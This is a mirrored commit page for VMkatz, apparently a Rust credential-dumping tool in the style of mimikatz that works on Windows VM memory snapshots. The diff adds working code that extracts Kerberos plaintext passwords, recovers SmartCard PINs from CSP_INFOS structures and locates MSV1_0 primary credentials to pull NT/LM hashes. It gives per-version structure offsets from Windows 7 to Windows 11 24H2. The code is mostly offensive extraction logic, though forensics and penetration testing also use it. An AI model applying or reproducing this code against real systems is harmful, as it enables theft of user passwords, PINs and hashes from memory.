mirror of
https://github.com/nikaiw/VMkatz
synced 2026-09-25 07:51:06 +00:00
Handle Kerberos ISO passwords, SmartCard PINs, and MSV CredentialKeys
Kerberos: - Detect Credential Guard ISO-encrypted passwords (type==1 at cred+0x28) on Win10 1607+. Report as "(Credential Guard ISO)" instead of silently failing to decrypt. - Extract SmartCard PINs from SmartcardInfos pointer (CSP_INFOS.PinCode) when regular password is empty. Stored as "[PIN] <pin>". - Add smartcard_infos offset to KerbOffsets for Win10 1607+ variants. MSV: - Walk the KIWI_MSV1_0_PRIMARY_CREDENTIALS linked list via next pointer to find the "Primary" entry, instead of assuming the first entry is it. - Recognize "CredentialKeys" (ANSI_STRING len=14) entries alongside "Primary" (len=7) during structure scanning and inline byte matching. - Skip CredentialKeys entries (DPAPI key material already extracted by DPAPI provider) with a log message.
This commit is contained in:
+65
-8
@@ -21,6 +21,10 @@ struct KerbOffsets {
|
||||
tickets_1: u64, // TGT
|
||||
tickets_2: u64, // TGS
|
||||
tickets_3: u64, // Client
|
||||
/// Pointer to SmartcardInfos (CSP_INFOS) — last field after Tickets_3's
|
||||
/// LIST_ENTRY (16 bytes) + FILETIME (8 bytes). Only meaningful for x64
|
||||
/// Win10 1607+ variants; 0 means not available.
|
||||
smartcard_infos: u64,
|
||||
}
|
||||
|
||||
/// Kerberos key hash entry offsets per Windows version.
|
||||
@@ -73,6 +77,7 @@ const KERB_OFFSET_VARIANTS: &[KerbOffsets] = &[
|
||||
tickets_1: 0x128,
|
||||
tickets_2: 0x140,
|
||||
tickets_3: 0x158,
|
||||
smartcard_infos: 0x158 + 0x18, // tickets_3 + LIST_ENTRY(16) + FILETIME(8)
|
||||
},
|
||||
// Win11 24H2+: KIWI_KERBEROS_LOGON_SESSION_10_1607 without unk13 PVOID
|
||||
// All offsets shift -0x10 from variant 0 (unk13 removed, unk1 changed from PVOID to ULONG)
|
||||
@@ -84,6 +89,7 @@ const KERB_OFFSET_VARIANTS: &[KerbOffsets] = &[
|
||||
tickets_1: 0x118,
|
||||
tickets_2: 0x130,
|
||||
tickets_3: 0x148,
|
||||
smartcard_infos: 0x148 + 0x18, // tickets_3 + LIST_ENTRY(16) + FILETIME(8)
|
||||
},
|
||||
// Win10 1507-1511: KIWI_KERBEROS_LOGON_SESSION_10
|
||||
KerbOffsets {
|
||||
@@ -94,6 +100,7 @@ const KERB_OFFSET_VARIANTS: &[KerbOffsets] = &[
|
||||
tickets_1: 0x118,
|
||||
tickets_2: 0x130,
|
||||
tickets_3: 0x148,
|
||||
smartcard_infos: 0, // not available on pre-1607
|
||||
},
|
||||
// Win8/8.1: KIWI_KERBEROS_LOGON_SESSION (session_10 variant)
|
||||
KerbOffsets {
|
||||
@@ -104,6 +111,7 @@ const KERB_OFFSET_VARIANTS: &[KerbOffsets] = &[
|
||||
tickets_1: 0xE8,
|
||||
tickets_2: 0x100,
|
||||
tickets_3: 0x118,
|
||||
smartcard_infos: 0, // not available
|
||||
},
|
||||
// Win7: KIWI_KERBEROS_LOGON_SESSION
|
||||
KerbOffsets {
|
||||
@@ -114,6 +122,7 @@ const KERB_OFFSET_VARIANTS: &[KerbOffsets] = &[
|
||||
tickets_1: 0xA0,
|
||||
tickets_2: 0xB8,
|
||||
tickets_3: 0xD0,
|
||||
smartcard_infos: 0, // not available
|
||||
},
|
||||
];
|
||||
|
||||
@@ -193,6 +202,7 @@ const KERB_OFFSET_VARIANTS_X86: &[KerbOffsets] = &[
|
||||
tickets_1: 0x94,
|
||||
tickets_2: 0xA0,
|
||||
tickets_3: 0xAC,
|
||||
smartcard_infos: 0, // not handled on x86
|
||||
},
|
||||
// Win10 1507-1511 x86
|
||||
KerbOffsets {
|
||||
@@ -203,6 +213,7 @@ const KERB_OFFSET_VARIANTS_X86: &[KerbOffsets] = &[
|
||||
tickets_1: 0x8C,
|
||||
tickets_2: 0x98,
|
||||
tickets_3: 0xA4,
|
||||
smartcard_infos: 0, // not handled on x86
|
||||
},
|
||||
];
|
||||
|
||||
@@ -379,21 +390,67 @@ fn extract_kerberos_credentials(
|
||||
}
|
||||
|
||||
let password = if !username.is_empty() {
|
||||
match extract_kerb_password(vmem, cred_addr, offsets.cred_password, keys) {
|
||||
Ok(p) => p,
|
||||
Err(e) => {
|
||||
log::debug!(
|
||||
"Kerberos password extraction failed for luid=0x{:x}: {}",
|
||||
luid,
|
||||
e
|
||||
// Win10 1607+ (variant 0 and 1): check the credential type field at
|
||||
// credentials + 0x28 to detect Credential Guard ISO-encrypted passwords.
|
||||
// type == 1 → ISO blob (cannot decrypt), type == 0 or 2 → normal password.
|
||||
let is_iso = if variant_idx <= 1 {
|
||||
let cred_type = vmem.read_virt_u32(cred_addr + 0x28).unwrap_or(0);
|
||||
if cred_type == 1 {
|
||||
log::info!(
|
||||
"Kerberos: LUID=0x{:x} user={} has ISO-encrypted credential (Credential Guard)",
|
||||
luid, username
|
||||
);
|
||||
String::new()
|
||||
true
|
||||
} else {
|
||||
false
|
||||
}
|
||||
} else {
|
||||
false
|
||||
};
|
||||
|
||||
if is_iso {
|
||||
"(Credential Guard ISO)".to_string()
|
||||
} else {
|
||||
match extract_kerb_password(vmem, cred_addr, offsets.cred_password, keys) {
|
||||
Ok(p) => p,
|
||||
Err(e) => {
|
||||
log::debug!(
|
||||
"Kerberos password extraction failed for luid=0x{:x}: {}",
|
||||
luid,
|
||||
e
|
||||
);
|
||||
String::new()
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
String::new()
|
||||
};
|
||||
|
||||
// SmartCard PIN extraction: if password is empty, try reading the PIN
|
||||
// from SmartcardInfos (CSP_INFOS). The PIN is a UNICODE_STRING at +0x00
|
||||
// of the CSP_INFOS structure pointed to by the SmartcardInfos pointer.
|
||||
let password = if password.is_empty() && offsets.smartcard_infos != 0 {
|
||||
let sc_ptr = vmem.read_virt_u64(entry + offsets.smartcard_infos).unwrap_or(0);
|
||||
if sc_ptr > 0x10000 && (sc_ptr >> 48) == 0 {
|
||||
// CSP_INFOS starts with LSA_UNICODE_STRING PinCode at +0x00
|
||||
match extract_kerb_password(vmem, sc_ptr, 0, keys) {
|
||||
Ok(pin) if !pin.is_empty() => {
|
||||
log::info!(
|
||||
"Kerberos: LUID=0x{:x} user={} SmartCard PIN extracted",
|
||||
luid, username
|
||||
);
|
||||
format!("[PIN] {}", pin)
|
||||
}
|
||||
_ => password,
|
||||
}
|
||||
} else {
|
||||
password
|
||||
}
|
||||
} else {
|
||||
password
|
||||
};
|
||||
|
||||
// Extract encryption keys (AES128, AES256, RC4, DES) from pKeyList
|
||||
// Keys live in the session entry, not the credential, so they may be
|
||||
// available even when the credential substructure is paged out.
|
||||
|
||||
+132
-30
@@ -996,10 +996,14 @@ fn walk_msv_list(
|
||||
find_credentials_ptr_in_entry(vmem, current, arch)
|
||||
};
|
||||
|
||||
if let Some(cred_ptr) = cred_ptr {
|
||||
// Walk the PRIMARY_CREDENTIALS linked list to find the "Primary" entry,
|
||||
// skipping "CredentialKeys" (DPAPI key material) entries.
|
||||
let primary_ptr = cred_ptr.and_then(|p| find_primary_entry_in_chain(vmem, p, arch));
|
||||
|
||||
if let Some(primary_ptr) = primary_ptr {
|
||||
if !username.is_empty() {
|
||||
if let Ok(cred) =
|
||||
extract_primary_credential(vmem, cred_ptr, keys, &mut validated_variant, arch)
|
||||
extract_primary_credential(vmem, primary_ptr, keys, &mut validated_variant, arch)
|
||||
{
|
||||
log::info!(
|
||||
"MSV credential: LUID=0x{:x} user={} domain={} NT={}",
|
||||
@@ -1093,15 +1097,20 @@ fn find_credentials_ptr_in_entry(vmem: &dyn VirtualMemory, entry_addr: u64, arch
|
||||
}
|
||||
// Third pass: direct inline scan — the credentials struct may be embedded
|
||||
// within the session entry itself (no pointer indirection). Search entry bytes
|
||||
// for the ANSI_STRING signature Length=7, MaxLength=8 at 8-byte aligned offsets.
|
||||
// for ANSI_STRING signatures at 8-byte aligned offsets:
|
||||
// "Primary": Length=7, MaxLength=8 → 07 00 08 00
|
||||
// "CredentialKeys": Length=14, MaxLength=15 → 0E 00 0F 00
|
||||
if let Ok(entry_data) = vmem.read_virt_bytes(entry_addr, 0x400) {
|
||||
for off in (0x28..0x400usize - 0x28).step_by(8) {
|
||||
// Look for 07 00 08 00 pattern (ANSI_STRING {Length=7, MaxLength=8})
|
||||
if entry_data[off] != 0x07
|
||||
|| entry_data[off + 1] != 0x00
|
||||
|| entry_data[off + 2] != 0x08
|
||||
|| entry_data[off + 3] != 0x00
|
||||
{
|
||||
let is_primary_sig = entry_data[off] == 0x07
|
||||
&& entry_data[off + 1] == 0x00
|
||||
&& entry_data[off + 2] == 0x08
|
||||
&& entry_data[off + 3] == 0x00;
|
||||
let is_credkeys_sig = entry_data[off] == 0x0E
|
||||
&& entry_data[off + 1] == 0x00
|
||||
&& entry_data[off + 2] == 0x0F
|
||||
&& entry_data[off + 3] == 0x00;
|
||||
if !is_primary_sig && !is_credkeys_sig {
|
||||
continue;
|
||||
}
|
||||
// The KIWI_MSV1_0_PRIMARY_CREDENTIALS starts 0x08 bytes before the ANSI_STRING
|
||||
@@ -1110,7 +1119,8 @@ fn find_credentials_ptr_in_entry(vmem: &dyn VirtualMemory, entry_addr: u64, arch
|
||||
|
||||
if is_primary_credentials_struct(vmem, struct_addr, arch) {
|
||||
log::info!(
|
||||
" Found inline Primary credentials at entry+0x{:x} (0x{:x})",
|
||||
" Found inline {} credentials at entry+0x{:x} (0x{:x})",
|
||||
if is_primary_sig { "Primary" } else { "CredentialKeys" },
|
||||
struct_off,
|
||||
struct_addr
|
||||
);
|
||||
@@ -1134,12 +1144,15 @@ fn find_credentials_ptr_in_entry(vmem: &dyn VirtualMemory, entry_addr: u64, arch
|
||||
/// +ps+us: Credentials (UNICODE_STRING: encrypted data)
|
||||
///
|
||||
/// Where ps=ptr_size, us=ustr_size, sb=str_buf_off (offset from string start to Buffer field).
|
||||
///
|
||||
/// Accepts both "Primary" (len=7) and "CredentialKeys" (len=14) ANSI_STRING names,
|
||||
/// as both are valid KIWI_MSV1_0_PRIMARY_CREDENTIALS entries chained via `next`.
|
||||
fn is_primary_credentials_struct(vmem: &dyn VirtualMemory, ptr: u64, arch: Arch) -> bool {
|
||||
let ps = arch.ptr_size();
|
||||
let us = arch.ustr_size();
|
||||
let sb = if arch == Arch::X64 { 8u64 } else { 4 }; // offset within ANSI/UNICODE_STRING to Buffer
|
||||
|
||||
// Check ANSI_STRING Primary: Length should be 7 ("Primary"), MaxLength >= 7
|
||||
// Check ANSI_STRING Primary: Length should be 7 ("Primary") or 14 ("CredentialKeys")
|
||||
let length = match vmem.read_virt_u16(ptr + ps) {
|
||||
Ok(l) => l,
|
||||
Err(_) => return false,
|
||||
@@ -1148,7 +1161,7 @@ fn is_primary_credentials_struct(vmem: &dyn VirtualMemory, ptr: u64, arch: Arch)
|
||||
Ok(l) => l,
|
||||
Err(_) => return false,
|
||||
};
|
||||
if length != 7 || !(7..=64).contains(&max_length) {
|
||||
if (length != 7 && length != 14) || !(length..=64).contains(&max_length) {
|
||||
return false;
|
||||
}
|
||||
// Read the buffer pointer
|
||||
@@ -1159,15 +1172,18 @@ fn is_primary_credentials_struct(vmem: &dyn VirtualMemory, ptr: u64, arch: Arch)
|
||||
if !is_valid_user_ptr(buf_ptr, arch) {
|
||||
return false;
|
||||
}
|
||||
// Try to verify "Primary" string (may fail if paged out)
|
||||
let string_ok = match vmem.read_virt_bytes(buf_ptr, 7) {
|
||||
Ok(data) => data == b"Primary",
|
||||
// Try to verify the ANSI string content (may fail if paged out)
|
||||
let string_ok = match vmem.read_virt_bytes(buf_ptr, length as usize) {
|
||||
Ok(data) => {
|
||||
(length == 7 && data == b"Primary")
|
||||
|| (length == 14 && data == b"CredentialKeys")
|
||||
}
|
||||
Err(_) => false,
|
||||
};
|
||||
if string_ok {
|
||||
return true;
|
||||
}
|
||||
// Fallback: check structural properties even if "Primary" string is paged out
|
||||
// Fallback: check structural properties even if the ANSI string is paged out
|
||||
let cred_off = ps + us; // Credentials UNICODE_STRING offset
|
||||
let cred_len = match vmem.read_virt_u16(ptr + cred_off) {
|
||||
Ok(l) => l as usize,
|
||||
@@ -1199,6 +1215,76 @@ fn is_primary_credentials_struct(vmem: &dyn VirtualMemory, ptr: u64, arch: Arch)
|
||||
true
|
||||
}
|
||||
|
||||
/// Read the ANSI_STRING name from a KIWI_MSV1_0_PRIMARY_CREDENTIALS struct.
|
||||
/// Returns the name string (e.g. "Primary", "CredentialKeys") or None if unreadable.
|
||||
fn read_primary_credentials_name(vmem: &dyn VirtualMemory, ptr: u64, arch: Arch) -> Option<String> {
|
||||
let ps = arch.ptr_size();
|
||||
let sb = if arch == Arch::X64 { 8u64 } else { 4 };
|
||||
|
||||
let length = vmem.read_virt_u16(ptr + ps).ok()? as usize;
|
||||
if length == 0 || length > 64 {
|
||||
return None;
|
||||
}
|
||||
let buf_ptr = read_ptr(vmem, ptr + ps + sb, arch).ok()?;
|
||||
if !is_valid_user_ptr(buf_ptr, arch) {
|
||||
return None;
|
||||
}
|
||||
let data = vmem.read_virt_bytes(buf_ptr, length).ok()?;
|
||||
String::from_utf8(data).ok()
|
||||
}
|
||||
|
||||
/// Walk the `next` chain on a KIWI_MSV1_0_PRIMARY_CREDENTIALS linked list,
|
||||
/// returning the first entry whose ANSI_STRING name is "Primary".
|
||||
/// Logs and skips "CredentialKeys" entries (DPAPI key material, not NT/LM hashes).
|
||||
fn find_primary_entry_in_chain(vmem: &dyn VirtualMemory, first_ptr: u64, arch: Arch) -> Option<u64> {
|
||||
let mut current = first_ptr;
|
||||
let mut visited = std::collections::HashSet::new();
|
||||
|
||||
while current != 0 && !visited.contains(¤t) {
|
||||
visited.insert(current);
|
||||
|
||||
if !is_primary_credentials_struct(vmem, current, arch) {
|
||||
break;
|
||||
}
|
||||
|
||||
match read_primary_credentials_name(vmem, current, arch) {
|
||||
Some(name) if name == "Primary" => {
|
||||
return Some(current);
|
||||
}
|
||||
Some(name) if name == "CredentialKeys" => {
|
||||
log::info!(
|
||||
" Skipping CredentialKeys entry at 0x{:x} (DPAPI key material)",
|
||||
current
|
||||
);
|
||||
}
|
||||
Some(name) => {
|
||||
log::debug!(
|
||||
" Skipping unknown credential entry '{}' at 0x{:x}",
|
||||
name,
|
||||
current
|
||||
);
|
||||
}
|
||||
None => {
|
||||
// Name unreadable but struct passed validation — could be "Primary" with paged-out name.
|
||||
// Fall back to original behavior: assume it's Primary.
|
||||
log::debug!(
|
||||
" Credential entry at 0x{:x} has unreadable name, assuming Primary",
|
||||
current
|
||||
);
|
||||
return Some(current);
|
||||
}
|
||||
}
|
||||
|
||||
// Follow the `next` pointer at offset 0x00
|
||||
current = match read_ptr(vmem, current, arch) {
|
||||
Ok(p) => p,
|
||||
Err(_) => break,
|
||||
};
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Scan the .data section of a DLL for ALL topology-valid LIST_ENTRY heads.
|
||||
/// Works for both msv1_0.dll and lsasrv.dll with arch-aware pointer widths.
|
||||
fn find_all_logon_session_list_candidates(
|
||||
@@ -1417,11 +1503,15 @@ fn walk_hash_table(
|
||||
find_credentials_ptr_in_entry(vmem, current, arch)
|
||||
};
|
||||
|
||||
if let Some(cred_ptr) = cred_ptr {
|
||||
// Walk the PRIMARY_CREDENTIALS linked list to find the "Primary" entry,
|
||||
// skipping "CredentialKeys" (DPAPI key material) entries.
|
||||
let primary_ptr = cred_ptr.and_then(|p| find_primary_entry_in_chain(vmem, p, arch));
|
||||
|
||||
if let Some(primary_ptr) = primary_ptr {
|
||||
if !username.is_empty() {
|
||||
if let Ok(cred) = extract_primary_credential(
|
||||
vmem,
|
||||
cred_ptr,
|
||||
primary_ptr,
|
||||
keys,
|
||||
&mut validated_variant,
|
||||
arch,
|
||||
@@ -1592,14 +1682,19 @@ pub fn scan_vmem_for_msv_credentials(
|
||||
continue;
|
||||
}
|
||||
|
||||
// Scan for ANSI_STRING signature: Length=7 (0x0007), MaxLength=8 (0x0008)
|
||||
// This appears at offset ps (ptr_size) from struct start.
|
||||
// Scan for ANSI_STRING signatures at offset ps (ptr_size) from struct start:
|
||||
// "Primary": Length=7 (0x0007), MaxLength=8 (0x0008)
|
||||
// "CredentialKeys": Length=14 (0x000E), MaxLength=15 (0x000F)
|
||||
for scan_off in (0..read_size.saturating_sub(0x28)).step_by(align) {
|
||||
if data[scan_off] != 0x07
|
||||
|| data[scan_off + 1] != 0x00
|
||||
|| data[scan_off + 2] != 0x08
|
||||
|| data[scan_off + 3] != 0x00
|
||||
{
|
||||
let is_primary_sig = data[scan_off] == 0x07
|
||||
&& data[scan_off + 1] == 0x00
|
||||
&& data[scan_off + 2] == 0x08
|
||||
&& data[scan_off + 3] == 0x00;
|
||||
let is_credkeys_sig = data[scan_off] == 0x0E
|
||||
&& data[scan_off + 1] == 0x00
|
||||
&& data[scan_off + 2] == 0x0F
|
||||
&& data[scan_off + 3] == 0x00;
|
||||
if !is_primary_sig && !is_credkeys_sig {
|
||||
continue;
|
||||
}
|
||||
|
||||
@@ -1614,20 +1709,27 @@ pub fn scan_vmem_for_msv_credentials(
|
||||
continue;
|
||||
}
|
||||
|
||||
// Walk the PRIMARY_CREDENTIALS chain to find the "Primary" entry,
|
||||
// skipping "CredentialKeys" entries.
|
||||
let primary_va = match find_primary_entry_in_chain(vmem, struct_va, arch) {
|
||||
Some(va) => va,
|
||||
None => continue,
|
||||
};
|
||||
|
||||
candidates_found += 1;
|
||||
log::info!(
|
||||
"MSV vmem-scan: Primary credential candidate at VA 0x{:x}",
|
||||
struct_va
|
||||
primary_va
|
||||
);
|
||||
|
||||
match extract_primary_credential(vmem, struct_va, keys, &mut validated_variant, arch) {
|
||||
match extract_primary_credential(vmem, primary_va, keys, &mut validated_variant, arch) {
|
||||
Ok(cred) => {
|
||||
if looks_like_hash(&cred.nt_hash) || looks_like_hash(&cred.lm_hash) {
|
||||
let (username, domain) =
|
||||
extract_username_from_cred_blob(vmem, struct_va, keys, arch);
|
||||
extract_username_from_cred_blob(vmem, primary_va, keys, arch);
|
||||
log::info!(
|
||||
"MSV vmem-scan: extracted credential at 0x{:x}: user='{}' domain='{}' NT={}",
|
||||
struct_va, username, domain, hex::encode(cred.nt_hash)
|
||||
primary_va, username, domain, hex::encode(cred.nt_hash)
|
||||
);
|
||||
let msv_cred = MsvCredential {
|
||||
username,
|
||||
@@ -1642,7 +1744,7 @@ pub fn scan_vmem_for_msv_credentials(
|
||||
Err(e) => {
|
||||
log::debug!(
|
||||
"MSV vmem-scan: extraction failed at 0x{:x}: {}",
|
||||
struct_va, e
|
||||
primary_va, e
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user